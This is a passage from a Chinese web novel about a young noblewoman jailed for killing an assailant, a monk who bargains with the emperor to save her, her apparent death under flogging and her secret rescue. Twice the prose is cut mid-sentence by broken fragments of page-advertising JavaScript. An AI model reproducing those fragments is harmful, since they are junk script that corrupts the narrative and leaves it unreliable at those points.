扬州刺史代陆烈监管荆州政务,此时不在建业而是在江夏,过两天他肯定还要回来再审问一次。 闻言,陆奂虽有不忍,却只能叹道:“你祖父后日就能到建业,你若有什么打算和他说即可。” 打算?陆萸心底一颤,是想让她交代后事了吗? 虽然早就做好最坏的心理准备,她心底依然忍不住难受,现实总是这么残酷的,在这个世道,家族利益总是高于一切。 过了须臾,她假装若无其事地回:“父亲可否替我做一件事?” “何事?”陆奂问。 “替我写信给三叔,让他想办法对慧悟法师封锁关于我的一切消息,至少封锁到佛诞日之后。” 陆显和白马寺一行人此时正在返回洛阳的路上,但陆氏有自己的传信方法,可以快速将信息传递给陆显。 担心陆奂不答应,她又道:“三叔知道怎么做,我答应过佛诞日要去看慧悟辩经,如今出此变故,还得三叔替我隐瞒一二,万不可影响辩经结果。” “好,我替你传达”陆奂答。 父女两突然无话可说,过了一会,陆萸才问:“阿姊的病好了吗?” “已经好了,不过需要服汤药休养,我就不让她来看你了”陆奂答。 陆萸点点头,欣慰一笑:“好了就行,这里又黑又脏,还是不要让阿姊来了,免得影响她恢复。” “你,还有什么想让为父去做的?”看她这样的笑,陆奂忍不住问。 “替我厚葬银杏,顺便拿一些银钱给她的家人。” “这些,你母亲都处理好了,你安心在这里等着你祖父吧”陆奂答。 “多谢父亲母亲”陆萸向他深深一拜回。 陆奂不再言语,见木槿的药擦的差不多,就转身离开了。 牢门外,悬在高处石壁上的灯散发出微弱的光,牢里充斥着阴暗而幽冷潮湿的气息,陆萸作为特殊人犯,四周没有关押其他犯人,让这里安静得可怕。 可此时的她已经顾不上这些了,人都已经杀过了,又有什么比那更可怕的?她要趁着还有点时间,赶紧整理出死后需要祖父去做的事。 她一点也不怕死,特别是前世癌症去世后又在这里白捡了十几年的寿命后,她觉得今生的每一天都是赚的。 她只是遗憾于此生不能再见君期,她知道,这一生,她将和他永远错过,或许,这就是天意,冥冥之中注定了他只能成为佛门高僧。 只盼着,他能初心不改,朝着当初的梦想,走最适合他的那条路。 75. 第七十五章 趁人之危 第二日,只有木槿一人来送饭,虽然能猜到结果,陆萸还是忍不住问:“丹桂还活着吗?” 木槿边端出吃食,边回:“丹桂在离开华彩阁的路上,重伤不治而亡了。” 陆萸心底一颤,迅速闭上眼,静默须臾才问:“你怕吗?” 她现在犯了事,想必跟着她的木槿和三伏都会被牵连。 木槿却笑着回:“女公子是奴婢心中的大英雄,奴婢不怕,三伏妹妹也觉得女公子是大英雄。” 陆萸听了,却是一点都笑不出来,三伏作为她的护卫,没有跟着去华彩阁,想必已经被魏氏处罚过了。 “如果,我让祖父给你和三伏脱奴籍,你愿意吗?” 闻言,木槿“噗通”一声跪在地上,“女公子不要奴婢了吗?我们还等着您出来后继续伺候您的。”说话间,她急得眼泪都快掉出来了。 陆萸想说自己可能出不去了,可看着木槿执拗的眼神,鼻头一酸,出口的话变成:“你先起来,我怎会不要你们呢?我还想让你们有良籍后跟着我做大生意呢。” 木槿这才破涕为笑,边起身边道:“吓死奴婢了,女公子放心,虽然银杏走了,但奴婢可以替您管好银钱,以后奴婢和三伏定会寸步不离地跟着您。” 今日这一顿饭,陆萸吃得食不知味,待木槿走后心底依然憋闷的紧,木槿和三伏,也是她要和祖父交代的遗言之一。 陆歆和旬维参加完雍州星火书院的开学典礼后,从长安边赏景边往建业走,直到收到陆奂的信,才快马加鞭赶回来。 他到建业的时候,已是黄昏。 陆奂见父亲一身的风尘仆仆,忙道:“父亲先休息一晚,明日再去看萸丫头吧,夜里的地牢寒凉,您的身子受不住。” 陆歆听后,却是不悦,“你口中寒凉的地牢,带伤的九丫头能都能忍受,我为何就受不住?” 陆奂不知怎么就惹父亲生气了,忙道:“父亲稍等,儿子这就让人安排去。” 陆歆到地牢门口的时候,陆萸正在牢房里绕圈,毕竟运动空间就这么一点,如果一直躺着或者坐着,她怕自己的腿就这么废了。 “我还以为会看到哭鼻子的小九”陆歆站在牢门叹道。 能见到祖父,陆萸也很是激动,忙问:“开学顺利吗?墨生的游记卖的好吗?” 都这样了,她还想着这些事,陆歆心中止不住替她心疼,“开学很顺利,书也大卖,你在这里住得惯吗?” “我住得惯,这里很安静,没人打扰我睡觉”陆萸笑着回。 有几人会喜欢黑漆漆又安静的地方,这里分不出白天黑夜,别说是她这个年龄的女孩,就是成年壮汉住久了,恐怕也会疯掉。 陆歆知她在安慰自己,心底说不出的难受,可他毕竟是浸淫朝堂权利多年的老臣,情绪不会随意外露。 今日他来,还有很多事情要和陆萸商议,明日刺史杨充要提审她,这之前他还要再问问她细节。 祖孙二人坐定后,陆萸细细和陆歆说了那天发生的事,还有之前看到杨琇莹和曹善游洛河的事。 “你当初见了为何不及时告知?”陆歆问。 陆萸道:“我后来一直让华彩阁的眼线留意有关曹善的消息,发现他不单和杨琇莹游洛河,还有其他世家女也和他游过洛河,于是猜想这或许是他在逢场作戏,如果主动告诉家里,怕弄巧成拙毁了一份好姻缘。” 杨琇莹没有来建业,约陆婠的张文茵也没出现,后来张府的答复是张文茵病了所以没去,设这个局的人,明显是冲着太子妃的位子去的,但陆氏拿不出证据。 卢奎是如何安排好一切后,才敢光天化日之下在华彩阁凌辱陆氏姐妹的,他们查不到,因为卢奎死了。 这个计谋,参与布局的人太多,但是都问不出关键答案,设局的人最初就只是想毁了陆婠,好腾出未来太子妃的位子,所以,洛阳那些和曹善游过洛河的世家女都有嫌疑。 往更深远的推断,有人想趁陆烈在北境作战之际,破坏卢氏和陆氏的关系,让卢太尉愤怒之下公报私仇在北境将士的粮草军训上动手脚,或者是想看陆氏和卢氏斗个两败俱伤,好坐收渔翁之利。 让朱琳引陆纯入局,于设局者而言,只是多一份保险而已,陆氏一下子折三个子女进去,才能煽动陆氏对卢氏的仇恨。 卢奎一死,也就查不到他是一时兴起想娶陆婠,还是受人挑唆而来,案件最关键的是,负责清理华彩阁的人都不知所踪。 华彩阁的掌柜确实是病了,而华彩阁的那些小厮和陆氏部曲一样,都被灭口了。 歹徒作案手段狠绝且熟练得不留任何痕迹,他们精确计算好时间,就等着陆氏兄妹和卢奎入局。 可惜出现了变故:陆萸及时发现了香炉有问题,卢奎提前进了兰厅,还有兰厅后面的密室。 不过,哪怕陆婠和陆纯顺利逃脱,陆氏和卢氏的仇也算是结下了。 此计谋非常歹毒,在这个局里,卢奎或许是必死的。 可惜,这一切都只是推断,他们找不到线索。 为了护住陆纯和陆婠,陆氏不能大张旗鼓去盘问张文茵,也不能去查那个报信给陆纯的小厮,陆氏只能吃哑巴亏,只能让陆萸一人承担所有罪责。 且陆萸已经录过一次口供,这时候更不能扯出任何对陆萸不利的证据,做假口供,按大魏律法是要被杖责的。 祖孙两分析得差不多后,发现,陆萸只能在刺史面前坚持原口供,一口咬定卢奎想掳走她为妾,因她不愿意,他就想霸王硬上弓,争执之下误伤了对方。 夜越来越深,看着牢房内那盏特意为祖父点的小油灯,陆萸问:“若我不能活着出去,祖父可否答应我几个要求?” “不要胡思乱想,我会想办法救你的”陆歆出声打断。 陆萸苦涩一笑,“书院成立时间太短,如今是帮不上什么忙的,且大伯父还在北境,陆氏终归落了下风,祖父,我既然敢认下杀人的罪行,就不怕死。” “你不要总说死”陆歆不悦道。 “祖父,我们应该看得更长远一些,书院还要继续扩建,大伯父手中的军权就不可丢,卢奎已死,卢氏定要陆氏也死一人,才会善罢甘休,明日刺史提审后,唯恐从此不让家里人前来探望,所以今夜,您便听我交代后事可好?” 陆萸满眼的恳求,让陆歆说不出阻拦的话,唯有眼神悲伤的看着她。 只听陆萸接着开口,“我想和祖父交代以下几件事,还望祖父答应: 其一:华彩阁出了这样的事,想必谢九叔的生意会大受影响,为赔偿他的损失,我想把茶点生意全部送给他。” “可,第二件事呢?”陆歆答。 “其二,我个人的存银,分成三份,阿姊和妘堂姊的添妆每人两万两,木槿和三伏,每人一千两,若二人愿意,我恳求您给他们脱奴籍。至于剩下的银两则全部做书院的奖学金,凡每学期末核优秀且愿意继续在书院学习的学员,皆可获得相应的奖学金。” “可,脱奴籍之事,我会先问他们的意愿。” “其三,我是带罪之身,死后定是不能回华亭扰祖宗安眠的,所以,我死后,不要设灵堂,不要设路祭,不要厚葬,要尽快将我下葬。” “阿萸”听到这里时,陆歆沉痛出声,他不知道孙女是如何想出这么残忍的念头,可喊出她的名字后,他却不知该如何劝说。 陆萸抬头看着祖父,眼中饱含泪水,“祖父,既然要死,就该死得有价值不是吗?只有按我说的做,卢氏的怒火才能消得更快,我们” 说到此处,她已哽咽,顿了一下,才接着开口,“我们来日方长,待这事了结,待大伯父凯旋归来,陆氏可以替我报仇,将那些人一一清算。” 她所言何尝不是最理智的抉择,陆歆无法继续劝说,只能坚定道:“阿萸,此案件重大,刺史即便提审完,也不会立即定罪,所以我会竭尽所能地找旧同僚在朝中周旋,为你争取到一线生机。” “好,我在这里等您的好消息”陆萸笑回,眼泪终于滑落。 陆歆走了,牢房再次陷入黑暗,陆萸安静地等着两日后的审问。 杨充作为扬州刺史,提问的时候比朱都尉要威严得多,所问的问题也异常刁钻,但好在陆萸已经和祖父商量好口供,所以再难回答的,都被她一一化解了。 至少,她没有 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 掉入他的问题陷阱中。 许是心有不甘,又许是觉得陆萸一个女子如此桀骜不驯,让他失了颜面,虽然没有对她言行逼供,却驳回了陆氏到地牢探望的请求。 自此以后,陆萸的世界分不清白天黑夜,记不住今夕何夕,她只能等,等洛阳朝堂给出最后的判决书。 卢太尉之子去江东赴宴却被陆氏庶女残忍杀害,此事一出,惊动了整个朝野。 案发当天,朱都尉立即通知了南安王府给卢奎收殓,然后又以最快的速度将奏报送往洛阳。 南安王太后的六十大寿注定是办不成了,因为卢奎的遗体留在南安王府,要等到案子判决后卢氏再将他拉回范阳安葬。 陆太尉的老母亲南安王太后的姐姐,听到宝贝孙子客死他乡,当场悲痛欲绝,从此一病不起。 朝堂上每日讨论的话题也从陆烈北上后战况如何,变成了,应该给陆氏女判何种刑。 朝中有三种声音,一种,卢奎嚣张跋扈,已有多家庶女受其迫害,陆氏女属误杀,罪不当死。 第二种,陆氏女是婢生子,身份低下,婢生女残忍杀害高门嫡子,是为不分尊卑,侵犯了嫡子嫡女的权威,于礼不容,当偿命。 第三种,这是卢氏想纳妾,陆氏不愿接受,属于两大世家的家事,不用拿来朝堂讨论,他们保持中立。 经朝堂讨论的案子,一般都要讨论很久很久,几方博弈之下,一方都不愿意认输。世家好面子,朝臣从最初的讨论案情变成了,无论如何都要争回一口气。 曹壬一行人是在四月初回到白马寺的,此时离四月初八佛诞日只有五天。 陆显和他解释,陆萸感染风寒,不能即刻赶来洛阳,让他安心准备辩经,待佛诞日结束后,她会在星火书店等他。 曹壬听后,虽心中有疑虑,却也认真准备起来。 白马寺主持则受了陆显的嘱托,在佛诞日结束前,不让任何人打扰曹壬清修,更不让曹壬下山。 每次曹壬想出寺门,净觉都会及时出现,让他尽快回去准备。 安和十三年,白马寺的佛诞日法会如期举行,曹壬也不负众望,以精湛而高深的佛学造诣赢了各路高僧提出的辩题,他的盛名再次传遍大江南北。 法会才结束,他便急不可待地赶往星火书店,谁知,书店的门却是紧闭的。他敲了许久,屋内都没有人回应,问过隔壁商家,才知道书店已闭门好几日了。 察觉到陆氏可能出了事,他立即赶去了定北侯府,可定北侯府却闭门不见客,理由是侯府夫人身体抱恙,需要休息。 洛阳干燥许久的天终于下起了雨,雨滴大颗大颗的砸在地面上,瞬间溅起无数水花。 离开定北侯府后,曹壬心急如焚却又漫无目的地走在洛阳的街道上,他不知道陆氏出了何种变故,也不知道该去问谁。 看到在雨水中高兴得手舞足蹈的孩子们,他想到了城外的太学,他要去找陆弘。 才一会的功夫,大雨便已将僧袍淋得湿透,疾步行走在通往城外的路上时,他再一次体会到了自己的无能,在发生紧急情况时,他做不了任何事,帮不了任何人。 突然,一辆马车挡住了他的去路。 曹壬伸手一把抹掉脸上的雨水,透过密密的雨帘,抬头看着这辆不起眼的马车,问:“贵人可否让贫僧借过?” 车门被打开,庆平自车内出来,他居高临下地看着曹壬,“奴的主人想约慧悟法师叙旧,不知法师可否愿意?” 曹壬点点头,不多时,马车和他一起消失在了茫茫的大雨中。 车内,曹启皇帝面色无波地看着曹壬,“朕已经等候你多时。” 曹壬双手合十行礼,“还请陛下为贫僧解惑。” 曹启低头拿起茶杯,抬眸时,眉眼中似有不忍:“朕既盼着你能出现,又盼着你从此不再走出白马寺,真是矛盾得很呀。” 马车缓缓前行,车轮压在青石板上发出的声音和印迹,雨皆被大雨被瞬间淹没。 曹启很有耐心地将有关陆萸的案情和近日朝堂之争,一一告诉了曹壬,“朕知道,朕是在趁人之危,可朕依然想问当年那个问题,你可愿入主东宫?” 76. 第七十六章 “你,可愿入主东宫?”曹启皇帝问完后,目不转睛地盯着曹壬。 帝王的眼神带着无形的气势和压迫,但曹壬没有回避,抬眸直视天颜,毫不犹豫地问“若贫僧愿意,陛下能救下她吗?” “你若应了朕提的要求,朕自有办法将她救下”曹启答。 “好,只要陛下救下她,贫僧愿意应下您的要求。” “凡朕所提都能应吗?”曹启皇帝想知道他能为陆氏女做到哪一步? “无论陛下提何种要求,贫僧都愿意应下,只求她能活着”曹壬没有一丝一毫地犹豫。 答案不出自己所料,曹启皇帝却还是被震住了,愣了一瞬,才回 “成交,如此,你就先回白马寺,等待第一个任务。” 曹壬双手合十行礼后,退出车内,哪怕外面大雨滂沱,他亦毫不留恋地跳下了马车。 庆平目送曹壬离开后,开门进入车内。 曹启皇帝似自言自语般轻叹,“他这么容易就答应了,朕却没有想象中的开心。” 庆平不敢回话,只安静地给他续了一杯茶。 “你说,和佛祖抢人,朕会遭报应吗?”他突然问。 庆平吓得忙将手中的茶壶放下,行大礼,“陛下乃真龙天子,是为天下百姓,是功在千秋,佛祖怎会责罚与您。” 曹启自嘲一笑,不再言语,这世间哪有什么真龙天子,都是凡人之躯罢了。 曹壬接到的第一个任务是送一封密信给西平王,洛阳至西域都护府沿途所经的驿站都会给他配最好的马,他必须以最快的速度将信万无一失地送达西域都护府的治所姑臧。 任务是由庆平亲自去白马寺下达的,临行前,他问:“若出了变故,你可能没机会见她最后一面,届时可会后悔今日接下这个任务?” 曹壬答:“想要陛下救她,贫僧总要拿出诚意不是吗?” 言毕,他翻身上马,快速打马离去。 陆氏为何对他封锁消息,无非是不想牵连他,如今陆氏尚且无法去地牢探望,他留下来又能如何? 与其将时间浪费在赶往建业的路上,不如拿出诚意,让皇帝尽快将她救出。 地牢又黑又湿冷,她身上还有伤,他如何忍心让她一直呆在里面? 他知道,一旦答应了皇帝的要求,就等于与虎谋皮,可他如此无能,如今还有人愿意利用自己,合该庆幸,又哪里还有资本去讨价还价? 一无所有的自己,竟然还有机会为她再做点什么,为这样的荣幸,他怀着一腔孤勇开启了姑臧之行。 曹壬刚走,曹启皇帝便让人散播消息:慧悟法师受陛下委派,偷偷护送一封密信去西域都护府,信中内容涉及下一任太子人选。 消息似不小心泄露出去的,但很快被各大世家获取,很快,一波又一波的人前往曹壬必经的路上拦截那份密信。 永宁宫,谢太后问曹启皇帝:“你就不怕把他折在路上吗?” 曹启皇帝听后,冷漠一笑:“想要入主东宫,总该经受些考验不是吗?再者,他若不破杀戒,如何能诚心走接下来的路?皇权之路,从来都是充满血腥的。” 饶是谢太后早已习惯了皇帝的行事风格,如今听了也忍不住打冷噤,顿了许久才道:“但愿你不会后悔。” “母后,开弓没有回头箭,如今,朕和他,都回不了头了” 他想救下陆氏女,却找不到人求救,自己愿意出手,那是他应该承的恩。 而自己为了救下陆氏女,就得去打破好不容易守住的平衡,所以他也该毫无怨言地接受自己的考验。 沈玉在鸡鸣寺带发修行期间,曾向曹壬描述过洛阳去西域的沿途风光,所以,曹壬每次在驿站更换好马匹后,都会转道去那些不为人知的山路。 尽管如此,随着离洛阳越来越远,他遇到的截杀次数越来越多。 可他知道,既然接了任务,就唯有全力以赴,每当棍棒挥出去的时候,他只有一个念头:阿萸还在地牢等着我。 他不知疲倦的赶路,沿路不记得打退了多少波截信件的人,只看到浅色的白马寺法棍慢慢变成暗红色。 那些都是刺客的血,鲜血干涸凝固后,又被新鲜的血覆盖,周而复始,他最终还是破了杀戒。 至姑藏时,当他手持法棍,着一身带血的僧袍亲手将信件交给西平王时,西平王眼中满是藏不住的赞赏。 他当着曹壬的面,抖开信件,里面赫然是一张没有写有任何字迹的白纸。 那纸张洁白如雪,如当初在静初寺莲花宝座前虔诚参拜的曹壬。 西平王笑道:“恭喜太子殿下顺利通过陛下的考核,您休息好后,便可返回洛阳复命。” 曹壬已是精疲力尽,却仍不忘问:“最近朝中有何动向?” 西平王答:“陆氏女杀害卢氏嫡子一案已下判决,鞭作官刑,判陆氏女五十鞭。” 《书.舜典》言“鞭作官刑,扑作教刑,金作赎刑”,有禄位的官员,犯了过错,则罚以鞭刑,陆萸身为陆氏女,且祖父是一品侯当受庇护,故施以鞭刑。 只是,一次打完五十鞭的话,担心她承受不住,所以令施刑者每日只打十鞭,分五日完成。 得了确切消息后,曹壬只在姑藏休息了两个时辰便立即返回洛阳复命了。 这样的判决虽然不如预期的完美,却也好过被问斩,或杖责,如今总还有一丝生还的机会。 当曹壬满怀期望地回到洛阳时,一切却早已尘埃落定,他最终没能看到陆萸的最后一面。 曹启皇帝仿佛在这几天瞬间苍老了,他看着曹壬:“朕失信于你,你也不用信守承诺了。” 他让庆平转述了行刑的经过:定下判决后,由廷尉监和庆平的徒弟八喜带着圣旨去建业执行判决,由卢太尉长子和扬州刺史一同出列监督执行。 按原计划,鞭刑共五十下,执鞭者是从廷尉府带去的,打鞭子和打棍子一样,门道很多,如果全程都由廷尉府出手,陆萸的伤口可能看起来很恐怖,但不会伤及性命。 问题出在第三日,卢大公子以让廷尉府衙役暂做休息为由,让自己带去的府兵代为执行,就这样,十鞭下去后,陆萸没能活着回到地牢。 才打了三十鞭就死了,卢大公子不愿相信,甚至还找了医官和仵作反复查验,确定没有脉搏后,他仍不放心,一直守着陆萸的棺椁下葬,几天后才带着卢奎的灵柩返回范阳。 曹壬听后,久久不言,在庆平以为他要落泪时,他只平静地问: “她,最后葬在了哪里?” 庆平以为,当曹壬听到结果的时候,会痛哭落泪,或会难过得不能自已,然后不断懊悔去了西域而错过了最后一面。 谁知,他竟然如此平静,平静得反复是一座没有感情没有血肉的雕像。 庆平瞬间肃然起敬,他这样的定力,这样的喜怒不形于色,仿佛天生就该是帝王。 他愣了一瞬,忙回:“覆舟山。” 曹壬点点头:“多谢告知。” 言毕,他向曹启皇帝抱拳行礼后转身离去,他已破杀戒不再双手合十。 身后的曹启皇帝追问:“你要去哪里?” “建业”曹壬答。 “她既已下葬,你去了有何用?”曹启皇帝又问。 “我答应过陪她游历大魏,自是不能失约的”曹壬头也不回的答。 曹壬离去后,庆平忙问曹启皇帝:“他该不会太过悲痛,想追随陆氏女而去吧?” 曹启皇帝看着太极殿外淅淅沥沥的雨,久久不能回神。 今年洛阳的雨水比以往任何时候都多,看着长长的台阶延伸至一眼望不穿的宫室,心中沉闷压抑到极点,但他注定了只能老死在这里,这是他身为曹氏子孙的宿命。 他想起那年被先帝选做太子时,也是这样的天气。那天,他穿过烟雨绵绵走上了这看似走不完的台阶,最终坐上了现在的位置。 他和曹壬是不同的,因为那时的他虽然心有恐惧和担忧,却仍怀有满腔的热忱。 罢了,曹壬终究不是自己,他所向往的是远方的广遨天地,是江东的明媚春光,是悠然自得超脱世俗的人生。 自此以后,他不会再去强求。 许久过后,他回答庆平,“心死之人,不会在意躯壳的。” 曹壬自听到噩耗起,脑子里突然就空了,他不知道该以何种情绪来释放此刻的痛彻心扉。 从皇宫出来后,他先是回白马寺向净觉请罪,僧袍上原本干涸的血被洛阳的雨淋湿后,突然变得鲜红起来。 师兄慧能已经向净觉说过师弟和陆氏女的一场生死逃亡,陆氏女反杀卢氏公子的案子轰动整个大魏,净觉也早有耳闻。 所以,当庆平到白马寺后曹壬消失了数十日,他就已猜到,白马寺终归留不住曹壬。 曹壬跪在面前向他请罪时,他满眼慈悲,摸摸曹壬的头,“佛门讲究缘法,既是你和她有缘,那就离去吧,为师不会怪你的。” 曹壬听后,终究没忍住眼泪,悲恸出声:“师父,徒儿最终还是没能救下她,是不是因为徒儿对佛祖不够虔诚,所以遭了报应?可报应不是应该落在徒儿头上吗?” 陆萸受不住鞭刑而去世的消息如今还未在大魏传开,净觉一开始以为曹壬是来辞行的,所以打算放他还俗去找陆萸。 如今闻言,也被惊到了,一时不知该如何安慰爱徒,唯有口中不停念着往生咒不停转动手中的串珠。 待曹壬情绪有所平复,他道:“既是要去建业送她最后一程,就该换身干净的衣服才是,待你送过她后,若想回来,就回来吧。” “师父!”曹壬已然哽咽到无法言语,他从未感受过父爱,眼前的师父自他入白马寺以来对他寄予厚望的同时也给予了无微不至的关怀。 师父对自己如此包容,让他受之有愧,他道:“徒儿破了杀戒,已不配做您的徒弟” 净觉听后,却是慈爱的看着曹壬:“佛门不问过往,只问是否与佛有缘,若你还想回来,白马寺的大门依然为你敞开。” 曹壬再次深深一拜后,抱着净觉为他准备的新袈裟离开了白马寺。 他曾无数次幻想过佛诞日结束后,他随陆萸回建业,二人可以一起欣赏沿途的美景,盛夏的景致该有多么令人神往。 可如今,他孑然一身,再美的景色都被蒙上了一层苍白。 自此之后,看山是她,看水也是她,可山水间再也寻不到她的身影。 陆氏没有给陆萸设灵堂,也没有设路祭,就那样匆忙下葬,让她从此悄无声息地消失在了建业。 建业城的人是在卢奎的灵柩被浩浩荡荡的队伍抬出建业的时候才知道她的死讯,一时间多少亲朋好友上门打探,却都被陆氏闭门谢绝了。 这日,陆歆和陆奂在书房议事,陆弘在一旁帮他们磨墨,突然有小厮来报,“慧悟法师想进府祭拜。” 陆弘闻言,忙抬头期盼地看着祖父。 他是在听到陆萸出事后从太学赶回来的,那时候判决书还没下,他原本是想等陆萸从地牢出来后再回太学,谁知,最后却是由他亲手操办她的葬礼。 棺椁被敲下钉子的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 那一刻,他多么希望曹壬能赶到。 陆奂不悦道:“人都葬了,他来作甚?” 慧悟法师名声太大,他贸然造访,势必会引起其他世家的注意,此时他不希望大家再揪着这个案子不放。 陆歆听后,突然大发雷霆,“她活着时,你不关心她就罢了,如今她都已经死了,你何故还有如此大的心气?” 陆奂突然被父亲责骂,吓得连连解释:“之前也不曾让任何人祭拜,突然让他祭拜不是又提醒了大家吗?我也是为正在北境奋战兄长考虑。” “你兄长没有你这般狭隘,你也无需为自己的懦弱找托辞” 言罢,陆歆对小厮道:“可以谢绝别人,却不可谢绝慧悟,如有不听者即刻发卖。” 小厮得令后,立即去开门了。 陆歆见陆奂一副欲言又止的样子,不耐烦道:“你不想见慧悟就给我滚出书房” 说着,扭头看着孙子,“你去将慧悟带来我这里,他也该知道真相。” 陆奂自娶妻后,再也没有被父亲这般骂过,如今还当着儿子的面被骂,他只觉得一张老脸都没地方放了。 但他不敢忤逆父亲,只能行礼后灰溜溜地离开书房。 陆弘一直安静地侯着,得令后立即去迎曹壬。 曹壬在江东时常年卧病在床,所以不曾有机会来陆宅。 今日,他想在祭拜完后,去陆萸住的芝兰院看看,顺便看看她常说的紫藤花。 陆弘见到曹壬的第一句话是:“君期,对不起。” 是君期,不是慧悟,余下的话,他说不出口,曹壬也未回答,而是跟着他去见了陆歆。 陆歆知道事情的始末,甚至比皇帝还清楚,所以从陆歆的话语中,曹壬又知道了陆萸的无助、无奈和孤勇。 他想起她和自己说过的话,她说:我前世太缺父母的爱,太渴望拥有一个幸福的家庭,太渴望拥有爱自己的家人,所以,今世我特别怕失去他们。 她最终还是为她不舍的家人选择放弃生命,放弃和相爱之人相守的机会。 他没有被选择,原该难过的,可他那样懂她,如何忍心去责怪埋怨她呢? 听完所有始末,他反而有些失落,自此以后不会有人再用这样多的言语去讨论她了。 她会渐渐被人们遗忘,被她用生命守卫的家人遗忘,这么一想,他为她不甘。 他出言打断,“陆侯,是陆氏放弃了阿萸,是陆氏负了阿萸,所以恳请侯爷让阿萸去她想去的地方吧!” 陆氏祖孙闻言,一时不知曹壬何意,疑惑地看着他。 只听他接着道:“我要带走阿萸的牌位,天南地北,黄泉碧落我将与她不离不弃。” 未出嫁女的牌位如何随意让外人带走,陆弘一时惊道:“君期万不可!” 曹壬却不看他,只目光坚定的看着陆歆:“陆侯肯不肯?” 陆歆也被他的要求惊到,却很快恢复,眼中满含悲伤,看着他:“那,我便将她托付于你,还望你替她多诵经文,愿她来世不用这么累。” 曹壬抱拳回礼:“多谢侯爷成全。” 言罢,转身出了书房。 陆弘疾声道:“祖父,阿萸回不了华亭,入不了祠堂,如今连牌位都让他带走的话,就真的再也回不来了。” 陆歆听后,却是反问,“她回来作甚?为我们再挡一次灾吗?慧悟说的没错,是我们负了她,她死前心心念念葬在覆舟山,难道你还没看清吗?” 覆舟山?是呀,那是他们第一次相遇的地方,那年上巳节,兄妹几人开开心心去覆舟山参加曲水流觞宴,转眼已是物是人非,陆弘突然泣不成声。 曹壬在小厮的引领下去了芝兰院,他看到了爬满架子的紫藤花,也看到了摆放在陆萸房内的牌位。 木槿不愿意脱奴籍,因为她想一辈子在芝兰院守护陆萸的牌位,见到曹壬进来,她忍住眼泪递上了三炷香。 曹壬却没有去接,而是道:“我今日要将阿萸带走,这香就不用点了。” 说着,他径自上前去取陆萸的牌位。 木槿想要上前阻拦,一旁的陆婠出声,“想来妹妹很乐意跟他走,木槿退下吧。” 木槿听后,痛哭道:“那奴婢日后去何处追随女公子?” 陆婠回:“妹妹替你脱了奴籍,自是希望你做自己想做的事,走更远的路。” 曹壬不关心他们的话,取过陆萸的牌位后细细擦拭,然后将牌位紧紧抱如怀中。 那样地温柔又小心翼翼,像当初二人第一次相拥时一样。 他抱着牌位环顾了一圈陆萸的房间,这里还保存着原有的样子,她和他说过喜欢坐在窗前听雨。 视线转到梳妆台时,他看到了那把梳子,那把他曾用来替她挽发的檀木梳子。 她曾说过这是她特意让人打造的,普通的紫檀木梳子,上面雕刻有栩栩如生的海棠花。 他走过去,拿起梳子,细细摩挲后,将它揣入怀中,因为他答应过她,要替她挽一辈子的发。 看过她居住过的地方后,他就要将她带走了,自此以后,他会是她唯一的家人,他们会有自己的家。 抱着牌位,他的心终于没有那么空了。 陆婠问:“你要去覆舟山看妹妹吗?” 曹壬没有回答,而是头也不回地离开了芝兰院。 他知道阿萸来自遥远的异世,覆舟山埋的不过是一具躯壳罢了,她的灵魂肯定在某个地方等着再次与自己相遇。 从此以后,他会用余生去找寻那一缕熟悉的魂魄。 77. 第七十七章 东山再起 陆萸迷迷糊糊间听到一旁有医官说他只能治疗发热症状,皮外伤不是他的治疗强项,如果让他治疗可能会落下疤痕影响美观。 本就只是半清醒的她闭着眼喃喃自语般说了一句“冯翊郡临晋医馆” 有个声音焦急地问:“你说什么?” 陆萸强撑着回:“冯翊郡临晋医馆的阿桃,可治皮外伤”,她此时后背火辣辣的疼,伤口感染导致的发热让她头昏脑涨,一时间分不清东南西北,还以为如今还在地牢。 只是才说完这几句话,她就已经累极,再次陷入昏迷。 此后几日,陆萸只记得有人不断给自己喂汤药,她只能迷迷糊糊地趴着边喝药心里边犯嘀咕,鞭刑还剩二十下,怎么就停了?难道是想治好后再接着打? 几天的汤药下去,陆萸终于退热,只是后背的伤口愈发严重,哪怕只是轻轻动一下身体,全身都会感觉到仿佛被撕裂了似的疼痛,白日退热,至夜里又会重新发热。 几日过后,陆萸终于清醒过来,也终于发现了异样,她如今在一间不熟悉的房间里养伤,而伺候的侍女也都不认识,他们说家主正在外面忙,说得空才会过来看她。 她想问你们家主是谁,但想到自己带罪之身,还是少说多看为妙。 就这么百无聊赖地等了几个时辰,她终于等来了谢洐,她仰起头对着他笑,“谢九叔是来看我的吗?” 当初,她是被卢奎打得像个猪头一样后直接进了地牢,后来为了让刺史提审的时候能看到一身惨状,所以也未曾治疗,哪里晓得杨充提审完后,竟然直接不让陆氏探望,自此她头上脸上的伤因得不到治疗,硬生生拖得留下病灶。 如今这些病灶和伤口没有痊愈,她趴在床上冲着谢洐笑的时候,整张脸让人看了既诡异又惊悚。 谢洐一脸嫌弃地开口,“别笑了,渗人的慌,你再忍耐一下,阿桃今夜该到了。” 阿桃?陆萸这才想起自己好像和他们提了一嘴阿桃可以治皮外伤。 “当初阿桃能把我脚底烂透的皮肉治好,治区区鞭伤肯定没问题” 顿了一下,陆萸问“不是还有二十下吗?不用接着受刑吗?” “死都死了,谁还管你剩几下”谢洐神色凝重地回。 “死了?我吗?”陆萸一脸惊诧的问,既是死了,怎么还在疗伤? 她一脸不信的看着谢洐,“九叔,你莫不是看我病中无聊,说笑话逗我玩吧?” “我忙着呢,哪有功夫逗你玩”谢洐不悦道。 “我死了?那现在的我是谁?”陆萸见他一脸疲态,认真的问。 他当初也没想好把陆萸救下来后下一步要怎么做,只想着不能对她见死不救,陆氏那堆人,一个个瞻前顾后的,他是真看不下去才出手的。 “先别管自己是谁,安心养病吧,待养好身体,我们再合计合计”谢洐叹道。 “我的家人呢?”陆萸大概已经猜到自己是被谢洐救了。 “你以后没有家人了,若要算,我姑且算一个吧”谢洐答。 陆萸听后,沉默片刻,才道:“谢谢九叔救了我。” 从接到判决结果之日起,她一直安静的等着廷尉府的人来建业执行判决,头两天的鞭刑明显打的不是很重,但第三日,每一鞭下去都是痛入骨髓的,如果没有谢洐出手相救,接下来的二十鞭她不知道自己能否扛下去。 